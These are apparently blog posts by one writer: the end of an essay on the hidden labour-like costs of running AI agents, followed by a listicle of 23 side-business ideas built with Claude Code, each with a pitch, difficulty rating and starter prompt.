The field already shows both ends of the curve. An audit published by a cloud-cost consultancy (LeanOps, and yes, they sell exactly this type of audit, weigh the source accordingly) describes a dev who woke up to $4,200 in API fees after a weekend of unsupervised autonomous refactoring. At the other end, X is full of $4 VPS setups routing everything to DeepSeek at $0.14 per million tokens and calling frontier models only when the task deserves it. Miles Deutscher runs his agent that way.

In between, David Sacks reports that Coinbase and DoorDash had to build in-house token routing systems, and his read is that "I don't think your average enterprise has the technical capability to do that."

That $4-to-$7,000 spread from the a16z data closes right here. The variable was never the model. The variable is the management.

Your software has a payroll now. You just never saw the payslip.

If Software Is Labor, Everything Gets Repriced

Follow the logic further and the whole pricing stack moves. If software is labor, its cost migrates from the license line to the payroll line. AI-native companies will get challenged on their margins the way service firms are, not the way software editors are, because their cost of goods sold now scales with every task executed.

Per-seat pricing dies in that world, outcome and usage pricing replace it, and the "AI spend" line in the P&L becomes a disguised HR budget, with the same pathologies: overstaffing, dead weight, and departments that grow because nobody audits them.

TechCrunch put the incentive problem in a dry line: the loop trend is fine for Anthropic, which is ultimately in the token-selling business. Zitron went further with his analogy of the indebted utility company advising customers to leave the lights on all night.

Worth 1 sentence of context on the messenger too: the article announcing this gold rush is published by the CEO of an AI transformation company, on the newsletter of his own investor, and his prediction that AI transformation companies will be 10x larger than any neofirm values precisely what he sells. The thesis can be correct and self-interested at the same time. I think the repricing is coming, honestly not sure it lands within a year though (enterprise inertia is a force the spreadsheets never capture).

We Spent 10 Years Fearing the Wrong Thing

We spent 10 years scared that AI would replace us. It finally showed up at work, and the first thing it did after settling in was make us competitive on price! 😅

You are no longer competing against a zero-cost machine. You are competing against a synthetic employee with a salary, office pathologies, and a permanent need for supervision. A competitor with a payslip fights on hourly rate. And that, we know how to do depuis toujours.

The question changed sides. It is no longer when AI will take your job, it is at what hourly rate you become the best option again.

Sources

George Sivulka, "You just hired a million bad employees", a16z newsletter, July 14, 2026
a16z on X, median agent cost data ($80/h, $4-$7,000 spread)
The Register, loop engineering and the Cherny token budget
TechCrunch, "The AI world is getting 'loopy'"
Black Matter VC, Uber caps and consumption multipliers
LeanOps, agentic cost audit
Data Science Dojo, agentic loops guide
morphllm, AI coding costs 2026
SSD Nodes, Claude Code pricing and the subsidy math

This post may contain affiliate links. If you click them, I might earn a small commission (costs you nothing, and helps me keep shipping quality articles every day for your reading pleasure).

23 Side Businesses to Start With Claude Code This Summer

Phil Rentier Digital — Fri, 17 Jul 2026 13:41:10 +0000

Nobody monetizes "Claude Code." It doesn't have a bank account. What you monetize is a side business that happens to have a senior dev on call 24/7 who never asks for time off, and that changes the cost-to-speed math on missions that took a freelancer a full week 3 years ago.

This list isn't a career plan. It's a menu. 23 formats you can test this summer, from a 1-day landing page to a subscription market-intelligence dashboard, each with a real opportunity window, honest difficulty, and a starter prompt so you're not staring at a blank page. Some of these have a real edge tied to running an agent that writes code (the no-code competitor literally can't keep up). Others don't, really, it's just fast execution on a real need, and I'm not going to pretend otherwise.

Difficulty key: Easy = shippable in 1 to 3 days with Claude Code or Codex alone. Medium = 1 to 2 weeks, needs some outreach or a third-party integration. Hard = several weeks, needs a real sales loop or domain expertise.

1. Migrate a no-code MVP into real code

Someone built an MVP on Bolt, Lovable, or v0, it half-works, and now they want clean, deployable code. You take their export and refactor it with Claude Code. The generated code often looks like a level-1 RPG character randomly stuffed with stat points, spread everywhere, no synergy, and it dies at the first real boss (an actual traffic spike).

Pitch: You're the customer support no-code tool never planned for.
Opportunity window: strong in summer, the MVPs from spring start breaking under real load.
Difficulty: Medium
Starter prompt:

Here's the export of a project generated with [Bolt/Lovable/v0]: [paste structure/repo].
Audit the code quality, list security issues, technical debt, and scalability problems.
Propose a refactor plan prioritized by risk, with a time estimate per item.

2. Migrate a no-code website into custom code

A different variant of item 1. Here it's a website (Wix, Squarespace) hitting the limits of its builder, not an app. The owner wants speed and visual freedom, not a business logic refactor. Static rebuild, no backend to save.

Pitch: The builder did its job. Now it's blocking the door.
Opportunity window: good summer complement, short sales cycle on a concrete need.
Difficulty: Medium
Starter prompt:

Here's the content and structure of a [Wix/Squarespace] site: [pages, sections, content].
Rebuild it as equivalent static HTML/CSS/JS, optimized for load speed,
keeping the same content hierarchy and visual style.

3. Verticalized SaaS starter kit sold direct

Not another generic Next.js plus Clerk plus Convex boilerplate, that market's been saturated for a while. A starter built for one specific vertical: invoicing for construction freelancers, booking for sports coaches, inventory for Etsy sellers. The code is nearly identical across all of them, the niche does all the conversion work.

Pitch: Same boilerplate everyone ships, talking to one specific person.
Opportunity window: constant, summer spike from new side-projects.
Difficulty: Medium
Starter prompt:

Build a Next.js SaaS boilerplate for [specific vertical], with Clerk auth,
a Convex database, a pricing page matching this niche's vocabulary, basic Stripe
subscription handling, and a user dashboard pre-filled with realistic sample data for this trade.

4. Same-day website for local businesses

Restaurants, guesthouses, craftspeople with no site or a broken one, during tourist season, where every day without a site means lost customers. I've seen a pizza place lose an entire weekend of orders because their site crashed Friday afternoon and nobody knew how to fix it until Monday.

Pitch: The client doesn't want a website. They want to stop being embarrassed by theirs.
Opportunity window: very concrete, July-August, before back-to-school.
Difficulty: Easy
Starter prompt:

Build a one-page website for [business type] with hero, presentation, photo gallery,
hours, Google Maps directions, contact form, mobile responsive,
deployable on Vercel in one click.

5. Rebuild an ugly internal dashboard

The Airtable hack or the giant Google Sheet nobody understands anymore, that the whole company still relies on because rebuilding it kept getting pushed to later.

Pitch: Ctrl+F isn't a search engine. It's a confession.
Opportunity window: constant.
Difficulty: Medium
Starter prompt:

Here's the current data structure [source]. Build a [Next.js/Streamlit] dashboard
that surfaces the same metrics with filters, charts, and CSV export.

6. Automate internal reports for small businesses

Local businesses still building their reports by hand in Excel or Sheets. You ship a script that automates the extraction and formatting.

Pitch: Nobody pays for a script. Everyone pays to never rebuild that report on a Friday again.
Opportunity window: not very seasonal, good complement to short summer gigs.
Difficulty: Easy
Starter prompt:

Write a Google Apps Script that reads data from [source], aggregates it by [criterion],
and generates a weekly report auto-emailed in [format].

7. "Prompt plus code" pack for one specific job

Not generic prompts, a combo of a prompt plus a code skeleton for a precise job need: contract generator, quote generator, job description generator. A bit like a well-designed loot table, every roll drops something usable, not a generic gray item.

Pitch: A prompt alone is advice. A prompt with the code behind it is a tool.
Opportunity window: good match with the summer wave of first-time vibe coders.
Difficulty: Easy
Starter prompt:

Build a reusable template (prompt plus code skeleton) that generates [document/business artifact]
from [user inputs]. Document the variables to swap and a full usage example.

8. Automated test setup for indie hackers

Side-projects shipped fast have zero tests. You sell an audit plus a Playwright or Vitest setup delivered as a turnkey package, before "works on my machine" becomes the official subtitle of their incident postmortem.

Pitch: They shipped fast. You sell the good night's sleep that comes with it.
Opportunity window: spikes after spring-summer launches start hitting bugs in prod.
Difficulty: Medium
Starter prompt:

Analyze this repo [repo] and propose a Playwright test suite covering the 5 critical
user flows. Generate the test files, the matching GitHub Actions CI config, and an initial
coverage report.

9. Niche micro-API sold by usage

An API that does one thing well (structured PDF extraction, address normalization), monetized via RapidAPI or direct. Like an NPC with a single line of dialogue, but it delivers it perfectly every run.

Pitch: It only does one thing. That's why nobody haggles on price.
Opportunity window: constant.
Difficulty: Medium
Starter prompt:

Build a FastAPI service that takes [raw data type] as input and returns [structured format].
Add rate limiting, an API key, and auto-generated OpenAPI docs.

10. Custom Discord bot for communities

Discord communities (gaming, crypto, indie hacker) pay for custom moderation, onboarding, or engagement bots.

Pitch: The 3am moderation raid is now the bot's problem. Not yours.
Opportunity window: summer spike, more community activity during vacation.
Difficulty: Easy to Medium
Starter prompt:

Build a Discord bot (discord.js or discord.py) that [precise function: onboarding, moderation, stats].
Generate the code, the slash command structure, and the deployment guide.

11. Express technical SEO overhaul

Technical audit and fixes (schema markup, core web vitals, tag structure) delivered as a fixed 48-hour package for small sites.

Pitch: SEO doesn't get fixed by talking about it. It gets fixed by committing to it.
Opportunity window: good summer complement, short sales cycle.
Difficulty: Medium
Starter prompt:

Audit this site [url] on technical SEO criteria: schema markup, speed, tag structure,
internal linking. List fixes ranked by impact and generate the corrected code for the top 3.

12. Subscription market-intelligence dashboard

The strongest pattern on this list. A crawler that tracks one precise signal in a sector (market moves, new entrants, pricing changes at competitors), delivered as a living view (map, sorted list, alerts) sold on subscription to B2B buyers who need to move before everyone else does.

The moat isn't the scraping, anyone can scrape. The moat is a base that keeps itself updated, like a radar that beeps before the boss appears on screen instead of after it already hit you. Two solid starting verticals: tracking where money is moving (new wealth pockets, new economic hubs), or tracking the economics of one specific business model (who's going paid, at what price, with what retention). Skip anything that resembles reselling data tied to identified individuals, GDPR doesn't like it and neither does a serious client. Stay on aggregates, market signal, never a contact list.

Pitch: Your client isn't paying for the data. They're paying to never have to go find it themselves again.
Opportunity window: constant, single-vertical MVP shippable under 2 weeks.
Difficulty: Medium
Starter prompt:

Write a pipeline that scrapes [targeted public sources], dedupes and normalizes [target fields],
then generates a [map/list/dashboard] view, sortable and filterable, on a scheduled refresh.
Add an email alert system for when a new signal appears in the tracked set.

13. Browser extension companion to a paid dashboard

A standalone extension, in a market flooded with free starters, sells badly and has no real edge tied to Claude Code. But as a power-up on top of an existing intelligence dashboard (see item 12), the math changes. The extension surfaces the signal right where the user already works (a competitor's product page, a LinkedIn profile, a listing), and routes back to the full subscription for history and alerts.

Pitch: The extension is the power-up. The paid dashboard is the actual game.
Opportunity window: constant, but only if a data product already exists behind it.
Difficulty: Easy to Medium
Starter prompt:

Build a Chrome extension (manifest v3) that detects [target page type] and overlays data from
[the existing dashboard's API, see item 12]. Generate the manifest.json, the content script,
the popup UI, and a clear call-to-action toward the full subscription.

14. Custom scoring engine for selective processes

A mono-function SaaS that receives applications and scores them against precise business rules, to balance a list (quotas, profiles, ratios). Works for exclusive dinners, but also accelerator cohorts, training cohorts, product waitlists. A Typeform plus an Airtable can't do custom scoring logic, an agent that writes code assembles this in a few days.

Pitch: Airtable sorts. Your engine actually decides.
Opportunity window: constant, lower ticket but a clean MVP under 2 weeks.
Difficulty: Medium
Starter prompt:

Build a small app that receives applications via a form, applies a scoring system
on [precise business criteria], and shows a balancing view of the final list
(ratios, quotas met). Ship the rules engine as a separate, configurable module.

15. "Landing page plus funnel" kit for product launches

Creators launching a product this summer (ebook, course, app) need a landing page plus a quick email capture funnel.

Pitch: The product doesn't exist yet. The page that sells it does.
Opportunity window: strong, indie launch season.
Difficulty: Easy
Starter prompt:

Generate a product launch landing page with hero, value proposition, social proof,
email capture (Mailchimp/ConvertKit), and a final CTA. HTML/Tailwind stack, deploy-ready.

16. Data cleanup and migration for small businesses

Customer databases scattered across multiple Excel files, needing merge and dedup before migrating to a real CRM. The final boss is always hiding in a tab named "Copy(3)."

Pitch: It's not messy because it's old. It's messy because nobody wanted to touch it.
Opportunity window: constant, short sales cycle.
Difficulty: Easy
Starter prompt:

Write a Python script that merges these files [list], dedupes on [key],
normalizes the format of [fields], and exports a file ready to import into [target CRM].

17. Automated e-commerce product listings

Bulk generation of SEO-optimized product descriptions from a raw data feed.

Pitch: 400 product listings by hand is a burnout. 400 product listings by script is a Tuesday.
Opportunity window: spikes before back-to-school, e-commerce sellers prep their fall catalogs.
Difficulty: Easy
Starter prompt:

Write a script that takes a CSV feed of products [columns: name, specs, category]
and generates for each: a 150-word SEO description, an optimized title, and 5 relevant keywords.

18. Bug bounty fixes on public repos

Open source maintainers pay bounties, through GitHub Sponsors, Algora, or similar, to fix specific issues. Claude Code speeds up triage and the fix. The optional boss fight that pays better than the main quest.

Pitch: The maintainer's been losing sleep over this issue for 3 months. You close it in one afternoon.
Opportunity window: constant, less competition in summer, fewer devs around.
Difficulty: Medium
Starter prompt:

Here's the GitHub issue [link/text] and its repo [structure].
Diagnose the root cause, propose a minimal fix, and write the pull request with a clear
commit message.

19. Crash course: vibe coding for non-devs

1-on-1 or small-group sessions helping beginners ship their first project with Claude Code, positioned alongside the book Vibe Coding, For Real.

Pitch: Not a course on how to code. A course on how to stop being scared of clicking "deploy."
Opportunity window: strong in summer, when people have time to learn.
Difficulty: Easy
Starter prompt:

Prepare a 90-minute session plan to get a complete beginner from zero to a deployed app,
using Claude Code. Break it into timed steps with validation checkpoints.

20. Automated print-on-demand and Etsy listings

Mockup generation, SEO descriptions, and tags for Etsy or Redbubble shops, at volume.

Pitch: Etsy's tag rules are absurd. A script follows them better than a tired human does.
Opportunity window: spikes before back-to-school and the holidays.
Difficulty: Easy
Starter prompt:

Write a script that generates, for each product in a list [CSV], an SEO-optimized Etsy title
(140 characters max), a 5-sentence SEO description, and 13 relevant tags following platform limits.

21. "Quick security audit" package for small apps

Scans for common vulnerabilities (auth, injection, exposed secrets) on vibe-coded apps, usually thrown together without much thought for security. Demo mode always hides the flaw the way an NPC hides its loot. Prod mode doesn't forgive.

Pitch: You only find the flaw after the "you died" screen shows up in prod.
Opportunity window: strong, tied directly to the wave of fast-built MVPs.
Difficulty: Medium
Starter prompt:

Audit this repo [repo] for common vulnerabilities: hardcoded secrets, injections, misconfigured
auth, overly permissive CORS, vulnerable dependencies. Rank by severity and propose the fixes.

22. Multi-format content generator for creators

A tool that takes a video or podcast and auto-generates an X thread, a LinkedIn summary, and a YouTube description, sold as a service or a tool.

Pitch: The creator already said the thing once. They shouldn't have to say it 3 more times in 3 formats.
Opportunity window: constant, strong creator demand in summer.
Difficulty: Medium
Starter prompt:

Write a script that takes a transcript [text] and generates: an 8-tweet X thread,
a 150-word LinkedIn post, and an SEO-optimized YouTube description, all from the same source content.

23. Sell directly to your own audience

The blind spot in this whole list: it treats every mission like you're starting from zero in front of a stranger. If you already have an audience, even a small one, a newsletter, readers, followers, the most profitable product isn't the most technically clever one, it's the one you sell to people who already know you. A micro-tool, a paid template, a session tied to your existing positioning. The sales cycle skips a whole step, the trust is already there.

Pitch: Your best prospect is the one who's already been reading you for 6 months.
Opportunity window: constant, but the edge fades if you wait too long.
Difficulty: Easy
Starter prompt:

Here's my audience's positioning [describe: topic, size, technical level].
Suggest 5 micro-products or services I could sell directly to this audience, reusing
content or a tool I already have, priced for an easy first purchase.

Twenty-three ways to turn an agent that writes code into a business, and only some of them actually need one.

Sources

Items 12 and 14 were sparked by scanning ideas.xyz for market signals, then rewritten under an original angle with no copy reused. ideas.xyz is the product of Arnaud "Tugan" Labossière, a French multi-millionaire marketer. It's in French, but it translates in seconds with any AI, and the ideas run deeper and are far less picked-over than Greg Isenberg's. That gap is where the real edge is.

This post may contain affiliate links. If you click them, I might earn a small commission, costs you nothing, and helps me keep shipping quality articles every day for your reading pleasure.